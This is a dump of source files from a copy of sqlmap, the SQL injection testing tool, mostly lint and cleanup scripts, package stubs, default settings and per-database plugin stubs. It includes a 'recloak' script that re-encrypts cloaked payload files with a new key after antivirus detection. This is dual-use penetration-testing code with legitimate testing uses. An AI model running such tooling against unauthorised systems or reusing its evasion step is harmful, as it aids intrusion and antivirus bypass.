/GUI-EN/extra/shutils/junk.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null 7 | find . -name "*.pyc" -exec rm -f {} \; &>/dev/null 8 | -------------------------------------------------------------------------------- /GUI-EN/extra/shutils/modernize.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # sudo pip install modernize 7 | 8 | for i in $(find . -iname "*.py" | grep -v __init__); do python-modernize $i 2>&1 | grep -E '^[+-]' | grep -v range | grep -v absolute_import; done 9 | -------------------------------------------------------------------------------- /GUI-EN/extra/shutils/pycodestyle.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) 7 | find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \; 8 | -------------------------------------------------------------------------------- /GUI-EN/extra/shutils/pydiatra.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # Runs py3diatra on all python files (prerequisite: pip install pydiatra) 7 | find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py3diatra '{}' \; | grep -v bare-except 8 | -------------------------------------------------------------------------------- /GUI-EN/extra/shutils/pyflakes.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) 7 | find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'" 8 | -------------------------------------------------------------------------------- /GUI-EN/extra/shutils/pylint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \; 7 | -------------------------------------------------------------------------------- /GUI-EN/extra/shutils/recloak.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # NOTE: this script is for dev usage after AV something something 4 | 5 | DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P) 6 | 7 | cd $DIR/../.. 8 | for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done 9 | 10 | cd $DIR/../cloak 11 | sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py 12 | 13 | cd $DIR/../.. 14 | for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done 15 | 16 | git clean -f > /dev/null 17 | -------------------------------------------------------------------------------- /GUI-EN/extra/vulnserver/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/lib/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/lib/controller/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/lib/core/data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.datatype import AttribDict 9 | from lib.core.log import LOGGER 10 | 11 | # sqlmap paths 12 | paths = AttribDict() 13 | 14 | # object to store original command line options 15 | cmdLineOptions = AttribDict() 16 | 17 | # object to store merged options (command line, configuration file and default options) 18 | mergedOptions = AttribDict() 19 | 20 | # object to share within function and classes command 21 | # line options and settings 22 | conf = AttribDict() 23 | 24 | # object to share within function and classes results 25 | kb = AttribDict() 26 | 27 | # object with each database management system specific queries 28 | queries = {} 29 | 30 | # logger 31 | logger = LOGGER 32 | -------------------------------------------------------------------------------- /GUI-EN/lib/core/defaults.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.datatype import AttribDict 9 | 10 | _defaults = { 11 | "csvDel": ',', 12 | "timeSec": 5, 13 | "googlePage": 1, 14 | "verbose": 1, 15 | "delay": 0, 16 | "timeout": 30, 17 | "retries": 3, 18 | "csrfRetries": 0, 19 | "safeFreq": 0, 20 | "threads": 1, 21 | "level": 1, 22 | "risk": 1, 23 | "dumpFormat": "CSV", 24 | "tablePrefix": "sqlmap", 25 | "technique": "BEUSTQ", 26 | "torType": "SOCKS5", 27 | } 28 | 29 | defaults = AttribDict(_defaults) 30 | -------------------------------------------------------------------------------- /GUI-EN/lib/parse/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/lib/request/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/lib/request/methodrequest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getText 9 | from thirdparty.six.moves import urllib as _urllib 10 | 11 | class MethodRequest(_urllib.request.Request): 12 | """ 13 | Used to create HEAD/PUT/DELETE/... requests with urllib 14 | """ 15 | 16 | def set_method(self, method): 17 | self.method = getText(method.upper()) # Dirty hack for Python3 (may it rot in hell!) 18 | 19 | def get_method(self): 20 | return getattr(self, 'method', _urllib.request.Request.get_method(self)) 21 | -------------------------------------------------------------------------------- /GUI-EN/lib/request/templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import kb 9 | from lib.request.connect import Connect as Request 10 | 11 | def getPageTemplate(payload, place): 12 | retVal = (kb.originalPage, kb.errorIsNone) 13 | 14 | if payload and place: 15 | if (payload, place) not in kb.pageTemplates: 16 | page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) 17 | kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None) 18 | 19 | retVal = kb.pageTemplates[(payload, place)] 20 | 21 | return retVal 22 | -------------------------------------------------------------------------------- /GUI-EN/lib/takeover/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/lib/techniques/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/lib/techniques/blind/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/lib/techniques/dns/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/lib/techniques/error/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/lib/techniques/union/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/plugins/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/access/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on Microsoft Access it is not possible to read files" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on Microsoft Access it is not possible to write files" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/access/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)&CHR(98)&CHR(99)&CHR(100)&CHR(101)&CHR(102)&CHR(103)&CHR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "&".join("CHR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/altibase/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "on Altibase it is not (currently) possible to establish a " 14 | errMsg += "direct connection" 15 | raise SqlmapUnsupportedFeatureException(errMsg) 16 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/altibase/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import logger 9 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 10 | 11 | class Enumeration(GenericEnumeration): 12 | def getStatements(self): 13 | warnMsg = "on Altibase it is not possible to enumerate the SQL statements" 14 | logger.warning(warnMsg) 15 | 16 | return [] 17 | 18 | def getHostname(self): 19 | warnMsg = "on Altibase it is not possible to enumerate the hostname" 20 | logger.warning(warnMsg) 21 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/altibase/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/altibase/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/cache/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/cache/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> from lib.core.common import Backend 16 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" 17 | True 18 | """ 19 | 20 | def escaper(value): 21 | return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) 22 | 23 | return Syntax._escape(expression, quote, escaper) 24 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/clickhouse/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.connector import Connector as GenericConnector 9 | 10 | class Connector(GenericConnector): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/clickhouse/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import logger 9 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 10 | 11 | class Enumeration(GenericEnumeration): 12 | def getPasswordHashes(self): 13 | warnMsg = "on ClickHouse it is not possible to enumerate the user password hashes" 14 | logger.warning(warnMsg) 15 | 16 | return {} 17 | 18 | def getRoles(self, *args, **kwargs): 19 | warnMsg = "on ClickHouse it is not possible to enumerate the user roles" 20 | logger.warning(warnMsg) 21 | 22 | return {} 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/clickhouse/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on ClickHouse it is not possible to read files" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on ClickHouse it is not possible to write files" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/clickhouse/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT char(97)||char(98)||char(99)||char(100)||char(101)||char(102)||char(103)||char(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("char(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/cratedb/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import logger 9 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 10 | 11 | class Enumeration(GenericEnumeration): 12 | def getPasswordHashes(self): 13 | warnMsg = "on CrateDB it is not possible to enumerate the user password hashes" 14 | logger.warning(warnMsg) 15 | 16 | return {} 17 | 18 | def getRoles(self, *args, **kwargs): 19 | warnMsg = "on CrateDB it is not possible to enumerate the user roles" 20 | logger.warning(warnMsg) 21 | 22 | return {} 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/cratedb/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/cratedb/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.syntax import Syntax as GenericSyntax 9 | 10 | class Syntax(GenericSyntax): 11 | @staticmethod 12 | def escape(expression, quote=True): 13 | """ 14 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" 15 | True 16 | """ 17 | 18 | return expression 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/cubrid/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/cubrid/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> from lib.core.common import Backend 16 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" 17 | True 18 | """ 19 | 20 | def escaper(value): 21 | return "||".join("CHR(%d)" % _ for _ in getOrds(value)) 22 | 23 | return Syntax._escape(expression, quote, escaper) 24 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/db2/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import logger 9 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 10 | 11 | class Enumeration(GenericEnumeration): 12 | def getPasswordHashes(self): 13 | warnMsg = "on IBM DB2 it is not possible to enumerate password hashes" 14 | logger.warning(warnMsg) 15 | 16 | return {} 17 | 18 | def getStatements(self): 19 | warnMsg = "on IBM DB2 it is not possible to enumerate the SQL statements" 20 | logger.warning(warnMsg) 21 | 22 | return [] 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/db2/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/db2/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/db2/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.takeover import Takeover as GenericTakeover 9 | 10 | class Takeover(GenericTakeover): 11 | def __init__(self): 12 | self.__basedir = None 13 | self.__datadir = None 14 | 15 | GenericTakeover.__init__(self) 16 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/derby/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/derby/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.syntax import Syntax as GenericSyntax 9 | 10 | class Syntax(GenericSyntax): 11 | @staticmethod 12 | def escape(expression, quote=True): 13 | """ 14 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" 15 | True 16 | """ 17 | 18 | return expression 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/extremedb/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "on eXtremeDB it is not (currently) possible to establish a " 14 | errMsg += "direct connection" 15 | raise SqlmapUnsupportedFeatureException(errMsg) 16 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/extremedb/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on eXtremeDB it is not possible to read files" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on eXtremeDB it is not possible to write files" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/extremedb/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.syntax import Syntax as GenericSyntax 9 | 10 | class Syntax(GenericSyntax): 11 | @staticmethod 12 | def escape(expression, quote=True): 13 | """ 14 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" 15 | True 16 | """ 17 | 18 | return expression 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/firebird/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on Firebird it is not possible to read files" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on Firebird it is not possible to write files" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/frontbase/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "on FrontBase it is not (currently) possible to establish a " 14 | errMsg += "direct connection" 15 | raise SqlmapUnsupportedFeatureException(errMsg) 16 | 